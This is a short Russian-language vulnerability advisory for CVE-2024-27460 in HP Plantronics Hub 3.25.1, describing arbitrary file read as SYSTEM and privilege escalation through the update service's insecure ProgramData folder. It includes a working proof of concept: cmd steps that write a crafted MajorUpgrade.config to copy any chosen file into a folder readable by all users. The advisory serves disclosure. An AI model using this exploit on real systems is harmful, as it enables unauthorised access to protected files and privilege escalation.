CVE-2024-27460

Модуль обновления HP Plantronics Hub 3.25.1: повышение привилегий / произвольное чтение файлов

Описание:

HP Plantronics Hub 3.25.1 содержит ошибку, которая позволяет пользователям с низкими привилегиями выполнять произвольное чтение файлов от имени SYSTEM на машине, где установлено приложение. Кроме того, можно использовать эту уязвимость для повышения привилегий до пользователя SYSTEM.

Затронутые версии

HP Plantronics Hub 3.25.1

Затронутые службы

Небезопасный путь: "C:\ProgramData\Plantronics\Spokes3G"

Служба: PlantronicsUpdateService

Шаги для воспроизведения (POC):

• Откройте cmd.exe
• Перейдите с помощью cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• Желаемый файл будет скопирован в "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", к которому имеют доступ все аутентифицированные пользователи.

Обнаружено:

• Фарид Зеррук (Deloitte Belgium)
• Алаа Кашух (Mastercard Europe)